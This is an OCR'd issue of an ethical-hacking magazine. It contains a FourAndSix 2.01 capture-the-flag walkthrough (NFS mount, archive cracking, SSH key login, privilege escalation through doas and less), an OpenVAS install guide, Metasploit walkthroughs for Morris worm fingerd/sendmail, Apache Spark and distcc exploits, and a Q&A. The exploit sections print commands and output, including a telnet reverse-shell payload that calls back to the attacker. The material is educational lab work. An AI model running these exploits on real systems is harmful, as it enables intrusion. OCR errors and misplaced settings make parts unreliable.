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| can do all things through Christ who strengtheneth me.
Philippians 4:13

Editor's Note

Hello aspiring ethical hackers. Hope you are
all awesome. Here we come with the fifteenth issue
of the First Edition. We are very delighted to release
he last Issue of year 2018 of our Hackercool Magazi-
e.

This is where our quest of Fast Tracking our
delayed issues has brought us. till now. We hope our
eaders are not finding it difficult to keep pace with ou
r frenetic schedule of fast tracking delayed Issues.
You all are really awesome. This is May 2019 and we
ust now released the December 2018 Issue.All of our
eaders know we have an unforgivable delay in relea-
ing our issues. But still you all stayed with us. Once
gain, Thank you very much for your loyalty and
patience.

We will definitely reward your patience after
some time. No matter how much delay happens in releasing our issues, note th
-at we will not skip even one Issue. All the Issues you paid for will reach you. If
you have doubts, please keep a tab on all our Issues. We are sure that by June
30, all our backlog Issues will be delivered and we will be within schedule. Until
then, enjoy the present Issue and also enjoy the movie Avengers : Endgame.

Coming to the present Issue, as always we will start with the Capture The
Flag challenge of FourAndsix : 2.01. As a part of this challenge, our readers will
learn how to exploit nfs, password cracking etc. Although internet has some
articles on this challenge, You will find ours very informative and well explained
too. In Metasploit This Month and Metasploitable Tutorials section we will b-
e turning back the clock to learn about some old vulnerabilities. Trust me, you
will find this Issue exciting and knowledge worthy too. Apart from this we have
included all our reqular features.

If you have any queries regarding this magazine or want a specific topic
please send them to our mail address qa@hackercool.com and please don't

forget to like our Facebook page "Hackercool”. Until the next issue, Good Bye.
Thank You.
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il FOUR AND SIX 2.01 N\

: CAPTURE THE FLAG y

You may take numerous courses on cyber security and ethical hacking but you
will not hone your skills unless you test you skills in a Real World hacking environme
-nt. CAPTURE THE FLAG scenarios and VM labs provide the beginners and those wh-
o want a real world testing lab for practice. These scenarios also provide a variety of
challenges which help readers and users to gain knowledge about different tools and
methods used in Real World penetration testing. These are not only useful for beginn-
ers but also security professionals, system administrators and other cyber security
enthusiats. We at Hackercool Magazine strive to bring our readers some of the best
CTF scenarios every month. We suggest our readers not only to just read these tutori

-als but also practice them by setting up the VM.

In this Issue, we bring you the challenge of FOUR AND SIX : 2.01. It is a small boot2root VM
created by Fred Wemeiljer. The goal of this CTF is to get root on our target VM and read the
root flag located in /root folder.The difficulty level of this CTF is not mentioned but it can be
considered as INTERMEDIATE. The VM can be downloaded from the link given below.

It is in OVA format and is built for Virtualbox even though it can be set up on Vmware. It is
configured with DHCP service so that |IP address is automatically assigned. My attacker mac
-hine is Parrot OS. So let's begin. The first thing we need to do is find the IP address of our
target. Let's start off with scanning the network to find our target. The tool we will be using as
always will be Netdiscover. Netdiscover will search all the hosts which are available on the
network. As we can see in the image below, the IP address of our target is 192.168.41.167.

@parrot

Our next step is to scan our target with Nmap for any open ports and information of services
running on those ports.




On running the verbose scan of Nmap on our target as shown below, we can see that there
are three open ports running on our target. Port 22 is running a SSH service,on port 11 there
IS a rpcbind service running and on port 2049 nfs service.

Most of the CTF challenges we undertook till now had port 80 open but this machine looks u-

nique as we don't have port 80 on this.
A search on the exploitdb for any exploit of the SSH service running on the port 22 retu

-rned nothing.

@gparrot

d

rpcbind is a service used for Remote Procedure Calls (RPC). A remote procedure call is a fu-
nction used for calling a procedure which may be running on a different system altogether. N
-ormally it is associated with a service and in this case | assume that this is NFS.
But what is NFS? NFS stands for Network File Storage. Network File Storage is distrib
-uted file system protocol which was developed by Sun Microsystems in 1984. Just like any
other distributed file system, it allows users on different computers to access a file present on
another system.
To understand it better, let us say in a company many users need File1 present on the
computer System2. To enable them to go on with their work seamlessly, a Network Attached
Storage is created on System2 by giving different permissions on different files. NFS is one
such protocol which enables NAS. It is a client/server model protocol.

Users on different systems can mount the file systems from System2 onto their own
systems for their work. This requires RPC to work as explained earlier.

As we can see now , our only way into the system can be the NFS service. The comma
-nd showmount shows all the files present on the server that can be mounted onto our own
system. So | use the command showmount -e 192.168.41.167 to see all the export list files

on the target server.




If you get an error that the command is not found as | got here, it means nfs client software is
not installed in your system. Install the package using command apt-get install nfs-common.

@parrot
-4

@parrot

Once nfs-common is installed, | ran the showmount -e 192.168.41.167 command again. As
can be seen in the image below, there is a directory on the target system which is available
Or everyone.

@parrot
=

@parrot

1

So let's mount that home/user/storage directory to my system. First | create a directory nam-
ed "hackercool" in the tmp directory of my system, Then | mount the home/user/storage direc
tory to my /tmp/hackercool folder. The command | used here is the "mount” command.
mount -t nfs 192.168.41.167:/home/user/storage /tmp/hackercool.

gparrot
gparrot
@gparrot

@parrot

@parrot

g

he mount is successful.




As | go to the /tmp/hackercool folder | see a file named backup.7z. It's a 7zip archive file. To
unzip it, we need either 7za or 7z. We can use the whereis command to see if 7z or 7za are
installed in system.

@[Jri rrot
»

@parrot
¥

@parrot

i

Let's use 7za to extract the archive backup./z.

@parrot
v

Oops, the archive is password protected. So we need to crack this password to extract its co
-ntents. Of all things in ethical hacking, | like password cracking least. But still, if this challeng
-e IS to be completed we need to crack the password somehow.

First | thought of using various password crackers built in Parrot OS, like John The
Ripper. But as it is time consuming, | decided to try out some online password crackers. | qui
-ckly opened a browser and did a Google search as shown below.

e
o0 *{L_]IQ crack 7z password online

7z Password Recovery Online — Unlock Password Protected 7z File
Past hour Nty Imypa: om/Mile-types/7z/ - Cached
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rasl £8 Nours recover password |

1S1 Week | ' password




In the first result Google displayed, | gave the file as shown below.
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Select and Upload your ZIP or RAR or 7z

Archive file: :

Almost immediately, the password was cracked as shown in the image below. The password
of the file is "chocolate”.
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Your password

Review us on W Trustpilot

We have successfully recovered the password to your file. The password was checked in an automatic

mode. However, in very rare cases, a password mismatch may occur due to the use of specific text




ets’ use 7za to extract the archive once again. WWhen | enter the password "chocolate”,
archive is successfully extracted.

Good. Now let's see the contents of the archive. It has total ten files. There are eight images
named hello1, hello2 hello8 respectively. Other two files are "id rsa"” and "id_rsa.pub”.

X 0O = hackercool

Fle Edit View Go Bookmarks Help

Back v icon View

Places . tmp hackercoo

Computer "'l

backup./7z hellol.peqg hello2.png

[
v 2

hello3 |peqg hellod png

nellob.png hello7.)peg nello8.)peg

id_rsa.pub

Of the eight images, there are five jpeg files and 3 png files. Is there any connection or was t-
his just done randomly. | opened the images to have a closer look at them to see if they have




any connection to this challenge. | did not find any clue.
X O - hellod.png

Image Edit View Go Help

Previous Next

206 x 244 pixels 8.3kB 100%

hello5.)peg
Image Edit View Go Help

Previous Next
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226 x 223 pixels 10.0kB 100%

It seems | was just being paranoid but these are cute images.




ith the images not giving me any clue, | focused on the files "id rsa" and "id rsa.pub”. | op-
ened the "id_rsa" file and found the OPENSSH private key.

@parrot
#
backup.7z2

@parrot
¥

=

he " id_rsa.pub” file contains the OPENSSH public key and it most probably contains a user
name called "user”.

backup.72

eparrotl

RSA stands for Rivest Shamir and Adlemann algorithm. It is
an asymmetric encryption algorithm. Asymmetric encyption
systems use two keys : public key and private key to secure
communications. The algorithm is named after its founders :
Ron Rivest, Adi Shamir and Leonard Adlemann. While
initiating a communication using RSA, the public key is given
to all while the private key is kept secret. RSA keys are either
1024 or 2048 bits long and this algorithm is unbreakable till
NOW.




Since | have the private key and public key for the OPENSSH server on the target, | tried to
login uisng the private key and the username found in the file "id_rsa.pub”.

@parrot
®

ell. It seems we still need the password for the key. | used "password guessing” attack and
ried to get access but all of them failed.
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| tried all common passwords, hello1, hello2 etc along with their extensions but did not get th-
e result. Then while observing the contents of the extracted archive, | noticed that all the ima-
ges had same name "hello" but different numbers at the end.

S0 may be by combining all the numbers we can get the password i.e 12345678. Wh
en | tried this as password, | successfully got logged in.

Password guessing Is a technique of password cracking
where the hacker tries to guess the password of the user by
guessing based on the user's pattern.
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Ince | now have access to a shell on the target system, the next thing to do is to escalate pr
ivileges.| tried to crack root user password using the same technique of password guessing
but that did not work out.

he kernel did not have any vulnerabilities and the "sudo -I" command did not work on this a-
s itis a OpenBSD system.

he find command gave me some positive result. Let us first see what is find command. The
ind command in Linux is used to search for files and directories in UNIX systems. It supports
searching by file, folder, name, creation date, modification date, owner of the file and also
permissions. For example, we can search for all files with "777" permissions as shown in the
image below.




In the above command, "/" specifies the find command to search from the root directory, "-p-
"perm" option specifies files with permissions and "777" specifies those files on which all user
s have read, write and execute permissions.

Now let us use the find command to search for programs that can be executed as root user.
using the command as shown below.

ell, there are many programs. After researching a bit, | fund that "doas” is same like "sudo
In linux systems. The configuration for this program is saved in a configuration file which is lo
cated in the /etc directory. Let's check it out.




t says we can run a command with "doas” to the authlog file. Well this can be used to bypas-
s root permissions. | run the command doas /usr/bin/less /var/log/authlog. What we are doing
here is running "less" as root user.

his will open the log file as shown below.

J AU LT

0 escape to the shell, first type v and then type :!sh as shown in the image below.




This will give us a shell with root privileges as shown below.

It's time to get the flag. It's in the root directory as shown below.

i
With this, we finish this Capture The Flag challenge of FourAndSix 2.01 VM.

! In our Next Issue (January 2019 Issue)
we will be solving the
RootlThis: 1 CITF Challenge teaching
our readers some new concepts along
the way.
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Have any questions?
Fire them to
ga@hackercool.com




4 INSTALLING OPENVAS VIRTUAL APPLIANCE IN VMWARE. ke

INSTALLIT
\ r

ﬁ the eternal journey of learning ethical hacking and penetration testing, reader“
will have to install many programs and have to setup many practice labs.It is keeping
this in mind, we have included this Feature in our Hackercool Magazine. In this newly
introduced Feature aptly named "Installit”, we will be teaching in detail how to install
nd configure some of the much needed labs and networks. This Feature will be like a
walkthrough to teach absolute beginners. In this month's issue, our readers will learn
how to install the virtual appliance of OpenVAS Vulnerability Scanner in Vmware.

ulnerability Assessment System. In our previous issues, we have seen how to install Open-
AS vulnerability scanner in Kali Linux. This process was time consuming.

The makers of OpenVAS have also made a virtual appliance that can be installed in bot
-h Vmware and Virtualbox. In the present Issue, our readers will learn how to install this virtu-
| appliance in Vmware. First download the iso file of OpenVAS vulnerability scanner from
he link given here. https://dl.greenbone.net/download/VM/gsm-ce-4.2.24.iso

Once the iso file is finished downloading, Install the ISO file in Vmware (We have seen

|\\I/1is process in many of our previous Issues). The configuration we have used for the Open-
k

EpenVAS IS a popular vulnerability scanner which isopen source. OpenVAS stands for Open

AS system is given below. Make sure that th virtual appliance shoudl| atleast have Hard dis-
of 9GB.

New Virtual Machine Wizard X

Ready to Create Virtual Machine

Click Finish to create the virtual machine. Then you can install Ubuntu
64-bit.

The virtual machine will be created with the following settings:

: Name: OpenVAS A
' Location: F:\KalyanVMs \OpenVAS

|

. Version: Workstation 12.0

i Operating System: Ubuntu 64-bit

| Hard Disk: 10 GB, Spiit
! Memory: 1024 MB
' Network Adapter: NAT

| Other Devices:  CD/DVD, USB Controller, Printer, Sound Card v

<tak |[ Fnsh ] conce

Need any new feature or a tutorial included. Send us
your requests to
ga@hackercool.com




Before you Power ON the virtual machine, in the "virtual machine" settings, change the num-
ber of processors to 2 as shown below.

Virtual Machine settings

Harcware Qotions

Processors

-

Device Summary
B Aemon 1GB Number of processors: 2
\J Processors 2 < I Number of cores oar srecassers B
- o——— - Total processor cores: 2
CO/OVD (SATA) Using fie C: \Users'\nspadm \Downloa
RS Network Adapter  NAT Shabilonaute
g USB Controller Present
&) Sound Card Auto detect Preferred mode:  Automatic
5 Printer Present | Dnsable accelerabon for binary transiaton
- TR— ] virtualize Intel VT-x/EPT or AMD-VRVI

| Virtualize CPU performance counters

OK Cancel Hep

Power ON the virtual machine. We need to setup the scanner before we can use it. Select th
-e "Setup” option and hit on "OK".

LGreenbone Security Manager Setup Build #4563

Helcome to the Greenbone Security Manager Setup.

Select 'Setup’ to start setting up your Greenbone
Security Manager.

Hipe Erase the content of the disk

Quick Hipe Erase the metadata from the disk
Shell Start a minimal shell

Reboot Reboot the GSM

Poweroff Shutdown the GSM




onfirm the instaliation as shown below D
Greenbone Security Manager Setup - Build ®463

Harning
You are about to install a GSM-CE.

During this process your disk is going to be formatted
and all current data will be lost.

Do you want to continue?

e e e )

he installation process will start as shown below.

Greenbone Security Manager Setup - Build %463

Installation In progress..

Your GSM Community Edition is now being preﬁared.

Please visit wum.greenbone.net to learn more about commercial
GSM appliances that solve all levels of enterprise needs. For
example secure airgap-updates for disconnected networks or
connectivity with other security systems.

Setup the administrator user in the following window. | have set the username as "admin”.

Admin user
Please choose the username
for the administrative
user

‘admin

B <cancel>




el the password for the administrator account as shown below.

Admin password
Please enter the password for
the administrative user. If you
leave it empty, a random one
will be generated for you.

|123456_

< 0K ) <Cancel>

hen the system asks to reboot, reboot it by selecting "yes".

sSuccess
You successfully setup your GSM.

You need to reboot to finish the installation.

During the process the machine will reboot once
more.

Do you want to reboot now?

Don't eject the CD before rebooting.

Eject CD-ROM?
The CD is still mounted,
do you want to eject it
before rebooting?

< Yes >




hen the system reboots and a black screen appears like this, don't try to login.

he system will automatically reboot as shown below.




NOw Ogin using the aaministrator account we nave sel up earilier.

e lcone to Greenbone L. .2 (t1 11)

availlabli i1

As the message says, OpenVAS is not completely set up yet. Click on "yes" to complete it.
Greenbone 05 Administration

Setup Wizard
Your GSM is not fully functiomal yet. Do you
want to complete the setup now?

By pressing 'Cancel’, this question will not
be asked again.

< Mo <Cancel>




he system will prompt you to create a web-admin. Web-admin and System-admin are two
different users. You cannot login into the web interface of OpenVAS if a web-admin is not cre
ated. | will show you create web-admin later. Click on "No" for now.

Greenbone 0S Administration

ince we are installing the open source version, we do not need a subscription key. Select
Skip".

Greenbone 0S Administration

Upen an Editor to Paste the Keu




he system will prompt you to download the "Feed".Feed here refers to the all the definitions
and signatures the scanner needs to perform vulnerability scanning. Click on "Yes". Since it
is for first time, it may take a long time (approximately half an hour or maybe one hour).

urecnoDoneE o maminiswrak aon

he feed starts downloading in background. Click On "OK".

Lreenbone US AMaministration




Let's create the web-admin now. Select "Setup”.

5 Configuration

Betup Hem
Maintenance intenance Menu

Advanced fAdvanced Menu
About Display information about your GSH

Select "User" in the subsequent menu.

Iser and Password Management
“onfi ‘he Networ

Services  Remotely available GSM Services
Feed Greenbone Security Feed

Kegyboard  Keyboard Layout Selection
Tine Maintenance Time

User management
Manage the different user accounts of your GSH.




Select "Admin User" .

List Users Show a list of all users

M Create an "Admin’ user
ble Guest A L he user

Super Adnin Create a 'Super Admin’ user
Delete fccount  Delete a user account

Change Password Change the of an account
Password Policy Change the Policy

Create a new admin and password.




ne user we just created should be displayed as shown below.

Now from another machine, we can access the dashboard of OpenVAS by browsing to its IP
address. It will prompt a security warning. Click on "Show Advanced" and then click on the
link as shown below.

X & - o0

¢ O ' t g /13016841169 a O

Ix*l'].]r coOnnNna t|],'\ E N T :-Lr'n 1I|'-u

192.168.41.169 (!

Login with credentials of the web-admin you just created.

Greenbone Security Manager Greenbone 05 4.2.24

-~
Greenbone

i




e can't perform any operation unless the "feed" is completely downloaded. We can know t-
he is incomplete when we can see a warning that "Secinfo database is missing". at the top of

he dashboard as shown below.

“ Dashboard

L‘l

Tacvks by Sewerity ( lass (Total: 0) - Tasks by status ([ Total: O)

CVEs by crealion Liene [ Total: D)

If the feed is complete this message wil vanish as shown in the image below.

‘i Dashboard "

lasks by Sewerily (lass (Tolal: D) - Tasks by slatus [ Tolal. O)

CVE &« by creation time (Total: 121942) - NV T« by Severity Class (Total: 0)

| year

]
18 00
il oDl
LE R ]
120G
0 000
B 0
i (g
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Now, our OpenVAS virtual appliance is ready to perform vulnerability scanning.
-
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Send all the questions
you have about
ethical hacking, cyber security and information security to
ga@hackercool.com




/Morris Worm Fingerd, Morris Worm sendmail and Apache Spark Unauth Modules N\

. METASPLOIT THIS MONTH )

l\M-:-Ic'::Jme to this month's Metasploit This Month feature. We are ready with the latest exploit
Imodules of Metasploit.

Morris Worm Fingerd With VAX Reverse Shell Module

TARGET: BSD TYPE: Remote FIREWALL : ON

To understand this and the next module, our readers first need to know what Morris worm is.
IConsidered the first computer worm that spread through internet and cause extensive damag
-e to systems, the Morris worm was released on November 1988. This worm spread by explo
-iting many well known vulnerabilities in Unix Sendmail, finger, rsh/rexec and also weak pass
-words and made infected machines useless until the worm was removed.

It was written for BSD systems and its primary code affceted DEC VAX. Let us see how
this module works. This module has been tested on Docker running on the attacker system. S
-tart Metasploit and load the morris_fingerd module as shown below. Type the command
show options to have a look at all the options this module requires.

msfS > use exploit/bsd/finger/morris fingerd bof
msfS exploit( ) > show options

Module options (exploit/bsd/finger/morrlis tingerd bof):

Name Current Setting Required Description

RHOSTS The target address range or CIDR identifie

RPORT 79 yes The target port (TCP)

Payload options (bsd/vax/shell reverse tcp):
Name Current Setting Required Description

The listen address (an interface may be spe
cified)

LPORT 4444 The listen port

Exploit target:

T ~ Al =i

As you can see in the image above, almost all the options are already set. The only option it
requires is the rhost and |host option. Set the rhost option which is the |IP address of our targ
-et (since our target is running on the same system as a docker service, it is 127.0.0.1).

I o . :
Finger or Finger protocol is a network protocol used to exchange
human oriented status between systems in a network. The finger
service runs on port 79.




Since this module works by exploiting fingerd service, the rport is 79. The check command
says that the service is running but could not be determined if it is vulnerable or not.

msfS exploit( ) > set lhost 192.168.41.171
lhost => 192.168.41.171

msfS exploit( ) > set rhost 127.0.0.1
rhost => 127.0.0.1

msfS exploit( ) > set rport 79

rport => 79

msfS exploit( ) > check

[*] 127.0.0.1:79 - The target service 1s running, but could not be validated.
msfS exploit( ) > i

Execute the module using the run command as shown below. If everything goes well, we will
get a command shell on the target as shown below.

msfS exploit( ) > run

Started reverse TCP handler on 192.168.41.171:4444

127.0.0.1:79 - Connecting to fingerd
| 127.0.0.1:79 - Sending 533-byte buffer
[*] Command shell session 1 opened (192.168.41.171:4444 -> 172.17.0.2:46886) at
2019-05-10 06:44:54 -0400

whoamil

whoami: not found
Ls

a

bin

boot

Copy

dev

drtest

etc

format
genvmunix

Lib

lost+found

mnt

pcs750.bin
restoresymtable
SYysS

tmp

usr

vmunix

pwd

/

cat /etc/motd
4.3 BSD UNIX #1: Fri Jun 6 19:55:29 PDT 1986

Would you like to play a game?




Morris Worm Sendmail Debug Mode Module

TARGET: BSD TYPE: Remote FIREWALL : ON

ust like the above module, this module also belongs to Morris Worm. But this module works
by exploiting the weakness in Sendmail service. Sendmail is a email service that uses SMTP

protocol to transport emails.
Let us see how this module works. This module has been tested on Docker running on the
attacker system. Start Metasploit and load the morris sendmail module as shown below.

msfS > search morris sendmail

Matching Modules

# Name Disclosure Date Rank Check
Description

1 exploit/unix/smtp/morris sendmalil debug 1988-11-02 average
Morris Worm sendmail Debug Mode Shell Escape

ype the command show options to have a look at all the options this module requires. As yo
u can see in the image above, almost all the options are already set.The only options it requ
ires is the rhosts and |host option. Set the rhosts option which is the |IP address of our targe
t (since our target is running on the same system as a docker service, itis 127.0.0.1).

msfS > use exploit/unix/smtp/morris sendmail debug
msfS exploit( ) > show options

Module options (exploit/unix/smtp/morris sendmail debug):

Name Current Setting Required Description

RHOSTS The target address range or CIDR identifie

RPORT 25 The target port (TCP)

Payload options (cmd/unix/reverse):
YEE Current Setting Requlred Description

The listen address (an interface may be spe

cified)
LPORT 4444 The Listen port

Exploit target:

Trl Nama




Ince this module works by exploiting senamail service, the rport IS 25. I he check command
onfirms that the target is indeed vulnerable.

msfS exploit( payload java/meterpreter/reverse
tcp

payload => java/meterpreter/reverse tcp

msfS exploit( rhosts 127.0.0.1
rhosts => 127.0.0.1

msfS exploit( rport 6066

rport => 6066

msfS exploit( srvhost 192.168.41.171
srvhost => 192.168.41.171

msfS exploit( srvport 9999

srvport => 9999

msfS exploit( Lhost 192.168.41.171
Lhost => 192.168.41.171

msfS explolit(

Execute the module using the run command as shown below. If everything goes well, we will
get a command shell on the target as shown below and will open a command shell.

msfS exploit( ) > run

Started reverse TCP double handler on 192.168.41.171:4444

127.0. :25 - Connecting to sendmail

iy i :25 - Enabling debug mode and sending exploit

127. :25 - Sending: DEBUG

127. :25 - Sending: MAIL FROM:<JmPU4r0IzahYFWH9J6R3Q0cq4aQ6DKDDV>
127. :25 - Sending: RCPT T0:<"| sed '1,/7°%/d' | sh; exit 0">

127. :25 - Sending: DATA

127. :25 - Sending: PATH=/bin:/usr/bin:/usr/ucb:/etc

127. 25 - Sending: export PATH

127.0. :25 - Sending: sh -c¢ '(sleep 3916|telnet 192.168.41.171 4444 |while
do sh && break; done 2>&1|telnet 192.168.41.171 4444 >/dev/null 2>&1 &)
127.0.0.1:25 - Sending:

127.0.0.1:25 - Sending: QUIT

Accepted the first client connection..

Accepted the second client connection...

GGEGGGQGG
ol ol el S

Writing to socket B

Reading from sockets.

Reading from socket B

B: "2uUNSSFrJtNuSXCg4\r\n”

Matching...

A 15 1nput.

Command shell session 2 opened (192.168.41.171:4444 -> 172.17.0.2:46942) at
2019 05-10 07:21:56 -0400
[!] 127.0.0.1:25 - Do NOT type "exit', or else you may lose further shells!
(') 127.0.0.1:25 - Hit “C to abort the session i1nstead, please and thank you

whoaml

daemon

cat /etc/motd

4.3 BSD UNIX #1: Fri Jun 6 19:55:29 PDT 1986

Would you like to play a game?




Apache Spark Unauth RCE Module

TARGET: Windows, MacOS, Linux running Apache Spark TYPE: Remote

Apache Spark is an open-source distributed general-purpose cluster-computing framework
hich can be installed on a variety of operating systems. In its code, it has a function named
CreateSubmissionRequest which accepts Java classes. This module exploits an unauthentic
ated command execution vulnerability in this function by submitting a malicious Java object.
Let us see how this module works. This module has been tested on Docker running
on the attacker system. Start Metasploit and search for this module as shown below.
msfS > search spark

Matching Modules

Disclosure Date Rank Chec
Description

1 exploit/linux/http/spark unauth rce 2017-12-12 excellent Yes
Apache Spark Unauthenticated Command Execution

2 post/windows/gather/credentials/spark im normal No
Windows Gather Spark IM Password Extraction

mstfS > l

Load the exploit/linux/http/spark_unauth_rce module as shown below. Use command show
ptions to have a look at all the options this module requires.

msfS > use exploit/linux/http/spark unauth rce

msfS exploit( ) > showoptions
“CInterrupt: use the 'exit' command to quit

msfS exploit( ) > show options

Module options (exploit/linux/http/spark unauth rce):
Name Current Setting Requlired Description

HTTPDELAY 10 Number of seconds the web server will w
alt before termination

Proxlies A proxy chain of format type:host:port|
,type:host:port]|[...]

RHOSTS yes The target address range or CIDR 1identl
fier

RPORT 6066 yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host to listen on. This must
be an address on the local machine or 0.0.0.0

SRVPORT 80860 yes The local port to listen on.

SSL false no Negotiate SSL/TLS for outgoing connectl
ons

SSLCert no Path to a custom SSL certificate (defau
Lt 1s randomly generated)




Set all the options it requires as shown below. Since our target is running on the same syste-
m as a docker service, the rhosts option is set to 127.0.0.1).Since we are submitting a java
payload, the payload is set to a java one.

msfS exploit| | set payload java/meterpreter/reverse
tcp

payload => java/meterpreter/reverse tcp

msf5 exploit| | rhosts 127.0.0.1
rhosts => 127.0.0.1

msfS exploit| ) rport 6066

rport => 6066

msfS exploit( srvhost 192.168.41.171
srvhost => 192.168.41.171

msfS exploit( ot srvport 9999

srvport => 9999

msfS exploit| Lhost 192.168.41.171
Lhost => 192.168.41.171

msfS exploit(

Execute the module using the run command as shown below. If everything goes well, we will
get a meterpreter shell on the target.

msfS exploit/( ) > run
|*] Exploit running as background job 1.
Exploit completed, but no session was created.

Started reverse TCP handler on 192.168.41.171:4444
msfS exploit( ) > [*] Starting up our web service
[*] Using URL: http://192.168.41.171:9999/Vy0Osldumf

| server startead.
[*] 172.18.0.3 spark unauth rce - 127.0.0.1:6066 - Sending the payload to

the server...

1*] Sending stage (53844 bytes) to 172.18.0.3

|*] Meterpreter session 1 opened (192.168.41.171:4444 -> 172.18.0.3:45522) at 20
19-05-11 10:31:28 -0400

i' Server stopped.

Use command sessions -l to view the available sessions.

msfS exploit( ) > sessions -1

Active sesslons

Information Connection

meterpreter java/linux root @ ae529745d03e 192.168.41.171:4444 ->
172.18.0.3:45522 (127.0.0.1)

msfS exploit| ) >




4 ATTACKING THE DISTCC SERVICE RUNNING ON PORT 3632 )

_ METASPLOITABLE TUTORIALS )

The lack of vulnerable targets is one of the main problems while practicing the
skill of ethical hacking. Metasploitable is one of the best and often underestimated
vulnerable OS useful to learn hacking or penetration testing. Many of my readers hav-
e been asking me for Metasploitable tutorials.So we have decided to make a complete
Metasploitable hacking guide in accordance with ethical hacking process. We have pl
-anned this series keeping absolute beginners in mind.

In the last issue, we have see how to hack ino some of the HTTP services runni-

ng on port 80. In this issue, we will see how to hack the distcc service running on the

port 3362 of our target machine.

ontinuing with the results of the port scan, it is revealed that there is a distccd daemon runn

iIng on port 3632.

513/tcp open Llogin
514/tcp open shell
1099/tcp open rmiregilstry
1524/tcp open 1ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresqgl
2900/tcp open vNncC
6000/tcp open X1l
6667/tCcp open 1rc
669//tcp open 1rcs-u
8009/tcp open ajpls
8180/tcp open unknown
8787/tCcp open msqgsrvr
34000/tcp open unknown
44685/tcp open unknown
48313/tcp open unknown
55002/tcp open unknown

MAC Address: 00:0C:29:10:55:7E (VMware)

To know about the tool Distcc, first you need to know what compiling is? Compiling is a proc-
less which translates programming language into machine language(Computers only underst
-and only machine language). We have time and again used compiling in our magazine. Wh-
lere? While using C exploits, we have used GCC compiler to translate it into machine langua-
ge. We normally write code in C source code and then use a compiler to change into machin
-e language.Well, distcc is a tool that speeds up compilation of source code by using distribu
-ted comp- uting over a computer network. For a computer to compile the code using this ser

Lvice, a distcc daemon should be running on that machine.

# nmap -p3632 -sV 192.168.41.173
Starting Nmap 7.70 ( https://nmap.org ) at 2019-65-14 12:50 EDT
Nmap scan report for 192.168.41.173
Host 1s up (0.0049s latency).

PORT STATE SERVICE VERSION
3632/tcp open distccd distccd vl ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))




A searchsploit search on distcc reveals there in one exploit on exploit database and it is a
Metasploit module.

# searchsploit distcc vl
Exploits: No Result
Shellcodes: No Result

# searchsploit distccvl
Exploits: No Result
Shellcodes: No Result

# searchsploit "distcc”

(/usr/share/exploitdb/)

Command Execution (Meta exploits/multiple/remote/9915.rb

Shellcodes: No Result
s it

Start Metasploit and load the distcc module as shown below.

mstS > search distcc

Matching Modules

Disclosure Date Rank Check Descripti

1 exploit/unix/misc/distcc exec 2002-02-01 excellent Yes DistCC Da
emon Command Execution

msf5 > |}
Load the distcc module as shown below. The show options command displays all the option
s we need to configure.

msfS > use exploit/unix/misc/distcc exec
msf5 exploit( ) > show options

Module options (exploit/unix/misc/distcc exec):
Name Current Setting Required Description
RHOSTS The target address range or CIDR 1identifier
RPORT 3632 The target port (TCP)

Explolt target:

Id Name

0 Automatic Target

msfS exploit(




msfS exploit( ) > set
Rhosts => 192.168.41.173

msf5 exploit(

Rhosts 192.168.41.173

) > check

[+] 192.168.41.173:3632 - The target is vulnerable.
msfS exploit( ) > §

Its's time to set the payload. Type command "show payloads" to have a look at all the payloa
ds this module can take.

cmd/unix/bind perl

ommand Shell, Bind TCP (via Perl)
2 cmd/unix/bind perl 1pv6

ommand Shell, Bind TCP (via perl) IPv6
3 cmd/unix/bind ruby

ommand Shell, Bind TCP (via Ruby)
4 cmd/unix/bind ruby 1pvé

ommand Shell, Bind TCP (via Ruby) IPv6
5 cmd/unix/generic

ommand, Generic Command Execution
6 cmd/unlix/reverse

ommand Shell, Double Reverse TCP (telnet)
7 cmd/unix/reverse bash

normal

normal

normal

normal

normal

normal

normal

No

No

No

NO

No

No

Unlix

Unlx

Unlx

Unlx

Unix

Unix C

Let us set the cmd/unix/reverse payload and set the Ihost address.Execute the module using

he "run" command and we successfully have a shell as shown below.

msfS exploit( ) > set
payload => cmd/unix/reverse

msfS exploit( ) > set
Lhost => 192.168.41.165

msfS exploit( ) > run

Started

reverse TCP double handler on

payload cmd/unix/reverse

Lhost 192.168.41.165

192.168.41.165:4444

Accepted the first client connection...
Accepted the second client connection...

Command:

wWriting
writing

Reading

echo zzaVAhkaHT6hvTnH;
to socket A

to socket B

from sockets...

from socket A

A: "zzaVAhkaHT6hvTnH\r\n"
Matching...
B 1s 1nput...

|
|

|
I

|

|
[*] Reading
[ 4
I
]
l

| * Command

shell session 1 opened (192.168.41.165:4444

at 2019-05-14 12:58:13 -0400

uname -aaaaaaaaaaaa
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GN

U/L1nux

-> 192.168.41.173:37419)

So we once again get a shell on the target system using a different vulnerability. In our next
Issue, we will be back with a different vulnerability.




Q: Is it worth learning EC-council CEH cou
~rse for a ethical hacker job?
A : Hmm, First let me tell you what EC Counc
-iI's CEH is. It is a certification that you have
taken the course of Certified Ethical Hacker,
thus learning concepts of penetration testing.
\After receiving this certification, you are eligibl
-e for taking a job as a penetration tester. So
if you have this certification many companies
isee you as a prospect for cyber security jobs.
But let me one important thing. Just lik-
le other certifications, having CEH certification
is itself doesn’t guarantee a ethical hacking
Eob. It still comes to your skillset while applyin
-g for job. In my experience as a cyber securi
ty trainer, most people who benefitted from
the CEH certification were people already wor
-king in networking or network security jobs.
IMake your choice accordingly.
Q : How can | start programming to becom
-e a hacker? What are the steps to follow?
f . You don't learn programming languages
o become an ethical hacker but you learn the
-m as part of your hacking journey.If you want
to start learning a programming language, m-
ly suggestion is you start with Python. Most of
the exploits coded nowadays to take advanta-
e of a vulnerability are coded either in the
Python, C, CPP,Ruby etc. My suggestion to y
-ou is to start with Python as it is not only eas
-y to learn but also has versatile usage in cyb
-er security domain.Once you master Python,
Learning all other programming languages will
e a lot easier.
If you want to start learning Python, my sugge
-stion is to start from this website.
ILearn Python - Free Interactive Python
Tutorial (https://www.learnpython.org/)
Q : Where do hackers learn their stuff?
: Ok. So you want the secret. Let me break
t to you. The answer is “from anywhere they
eed to learn”. Yes, if hackers want to learn
omething, they will learn it from everywhere

~

HACKING Q & A
mﬁk?z

from other hackers, hacking forums, from the
user manual of software and even from deep
web.

Q : Are BugCrowd and Hacker One credibl
-e7?

A : Yes, they are. The bug bounty platforms
Bugcrowd and HackerOne are credible. If you
participate in any of their bug bounty program
